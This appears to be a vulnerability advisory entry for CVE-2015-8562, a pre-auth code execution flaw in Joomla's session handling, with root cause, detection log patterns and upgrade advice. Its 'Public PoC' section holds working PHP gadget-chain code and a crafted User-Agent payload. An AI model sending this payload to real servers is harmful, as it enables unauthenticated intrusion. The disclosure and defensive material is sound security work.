Joomla Session User-Agent Object Injection

Product: Joomla! Joomla! CMS
CVE: CVE-2015-8562
Disclosed: 2015-12-14
CVSS: —
Auth: pre-auth
CISA KEV: no
Affected: 1.5.0 - 3.4.5
Fixed: 3.4.6

Summary

Joomla stored the User-Agent and X-Forwarded-For headers in the session unsanitized, and a MySQL utf8 truncation quirk let attackers break the session serialization format. Sending a single crafted User-Agent results in PHP object injection and code execution; it was exploited as a 0-day two days before the patch.

Root cause

Session data is serialized with PHP's custom session format and stored in a MySQL utf8 (not utf8mb4) column; a 4-byte character (\xF0\x9D\x8C\x86) truncates the stored value, so injected '}__test|O:...' content is parsed as a new serialized object on the next request. A JDatabaseDriverMysqli/SimplePie gadget chain then calls assert() on attacker data.

Impact

Unauthenticated RCE on Joomla 1.5 through 3.4.5.

Public PoC

class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url;
  function __construct() {
    $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
    $this->javascript = 9999; $this->cache_name_function = "assert";
    $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } }
class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection;
  function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie();
    $this->connection = 1; $this->disconnectHandlers = [[$x, "init"]]; } }
$poc = str_replace("\x00*\x00", '\\0\\0\\0', serialize(new JDatabaseDriverMysqli()));
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";   // send as User-Agent, then re-request with the cookie

Source: vulhub / joomla/CVE-2015-8562

Detection

Search logs for User-Agent or X-Forwarded-For values containing '}__' , 'JDatabaseDriverMysqli' or 'O:21:'. nuclei template CVE-2015-8562.

Mitigation

Upgrade to 3.4.6+ (and PHP >= 5.6.13 which fixes the session parsing behavior).